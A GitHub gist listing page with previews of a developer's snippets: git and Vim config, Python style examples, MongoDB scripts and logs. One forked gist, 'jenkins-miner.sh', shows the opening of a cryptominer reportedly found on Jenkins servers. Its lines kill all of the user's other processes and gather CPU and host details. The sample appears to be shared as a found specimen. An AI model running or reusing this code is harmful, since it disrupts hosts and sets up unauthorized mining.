Skip to content

Instantly share code, notes, and snippets.

View itsx's full-sized avatar

Tom Bartek itsx

  • Flat Zone
View GitHub Profile
@itsx
itsx / gist:6b063b89ed6a293929813c8cc9678f52
Created April 20, 2018 14:08
fetch new remote branch
git checkout --track origin/daves_branch
# Vim.gitignore
# ------------------------------------------
# Swap
[._]*.s[a-v][a-z]
[._]*.sw[a-p]
[._]s[a-v][a-z]
[._]sw[a-p]
# Session
Session.vim
@itsx
itsx / python_style.py
Last active August 6, 2018 08:57
Python style: function call vs line lenght (PEP8 etc)
# style 1
def test_create_localID():
field_dict = OrderedDict([('developer', '-'), ('project', '-'), ('building', ''), ('number', '')])
item = create_item('Skanska', 'Přibyslavice', 'A', '505')
local_id = create_local_id(item, field_dict)
assert local_id == 'skanska_pribyslavice_a_505'
print(local_id)
# style 2
@itsx
itsx / python_style2.py
Last active August 6, 2018 08:58
Python style: function call vs. line lenght (PEP8, readability etc)
# style A
def create_local_id(self, item):
field_dict = OrderedDict(
[('developer', '-'),
('project', '-'),
('building', ''),
('number', '')])
return create_local_id(item, field_dict)
@itsx
itsx / mongo_update3.py
Last active September 5, 2018 09:48
[mongo_update3]
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import argparse
from collections import defaultdict
import datetime
from functools import partial
import inspect
from importlib import import_module
import logging
import munch
@itsx
itsx / log.txt
Created September 4, 2018 20:29
log update
2018-09-04 22:24:36 [update_mongo] DEBUG: local_id: sreality_336609628 (new) | 336609628 (old)
DEBUG:update_mongo:local_id: sreality_336609628 (new) | 336609628 (old)
2018-09-04 22:24:36 [update_mongo] DEBUG: processed document: 35467000
DEBUG:update_mongo:processed document: 35467000
2018-09-04 22:24:36 [update_mongo] INFO: {'error_create_local_id': 56288, 'not_updated_docs': 0, 'error_missing_meta': 0, 'error_spider_creation': 0, 'spider_names_from_map': 0, 'spider_names_from_item': 35467601, 'success_import_for_item': 35467601, 'skipped_sap_docs': 0, 'spider_calls': 35467601, 'error_spider_map': 0, 'missing_meta': 0, 'updated_docs': 35467601, 'error_import_module': 0, 'default_method': 0}
INFO:update_mongo:{'error_create_local_id': 56288, 'not_updated_docs': 0, 'error_missing_meta': 0, 'error_spider_creation': 0, 'spider_names_from_map': 0, 'spider_names_from_item': 35467601, 'success_import_for_item': 35467601, 'skipped_sap_docs': 0, 'spider_calls': 35467601, 'error_spider_map': 0, 'missing_meta': 0,
@itsx
itsx / md.txt
Last active June 22, 2020 07:57
[mongo snippets - master_data]
find({ "records.local_id": "odien-real-estate-as_rezidence-veselska__2624_TEST"}
db.getCollection("master_data").find(
{ "records.local_id": "odien-real-estate-as_rezidence-veselska__2624_TEST"},
{ "records": { $elemMatch: {"local_id": "odien-real-estate-as_rezidence-veselska__2624_TEST"}}}
)
@itsx
itsx / safe_generators.py
Created October 16, 2018 11:56
safe generators
import itertools
def safe_generator0(docs):
def for_cycle(docs):
for doc in docs:
raise pymongo.errors.AutoReconnect()
yield doc
yield from safe_mongo_call(for_cycle, 10, docs)
# yield from doc
@itsx
itsx / jenkins-miner.sh
Created May 23, 2019 13:23 — forked from random-robbie/jenkins-miner.sh
Miner found on jenkins servers.
#!/bin/bash
if [[ $(whoami) != "root" ]]; then
for tr in $(ps -U $(whoami) | egrep -v "java|ps|sh|egrep|grep|PID" | cut -b1-6); do
kill -9 $tr || : ;
done;
fi
threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head -n 1);
hostHash=$(hostname -f | md5sum | cut -c1-8);
@itsx
itsx / ansible-summary.md
Created October 9, 2019 13:44 — forked from andreicristianpetcu/ansible-summary.md
This is an ANSIBLE Cheat Sheet from Jon Warbrick

An Ansible summary

Jon Warbrick, July 2014, V3.2 (for Ansible 1.7)

Configuration file

intro_configuration.html

First one found from of